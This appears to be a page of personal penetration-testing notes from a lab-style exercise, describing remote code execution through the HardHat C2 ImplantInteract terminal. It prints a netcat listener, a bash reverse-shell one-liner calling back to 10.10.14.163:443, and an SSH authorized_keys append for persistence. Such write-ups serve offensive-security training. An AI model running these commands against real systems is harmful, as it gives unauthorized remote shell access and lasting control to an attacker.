> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/cms/hardhatc2-cms-exploitation/hardhat-c2-remote-code-execution-rce.md).
# HardHat C2 - Remote Code Execution (RCE)
HardHat C2 RCE notes for ImplantInteract terminal abuse, whoami validation, reverse shell execution, SSH authorized\_keys persistence, and post-exploitation.
###
In `ImplantInteract`, terminal access is available. Running `whoami` shows that the current user is `sergej`.
Start a listener on port 443 to establish a reverse shell as `sergej`:
```bash
nc -nlvp 443
```
Run the following command to establish the reverse connection:
```bash
bash -c "bash -i >& /dev/tcp/10.10.14.163/443 0>&1"
```
Once connected, add the SSH key to `authorized_keys` for easier reconnection:
```bash
echo "your key" | tee -a ~/.ssh/authorized_keys
```
---
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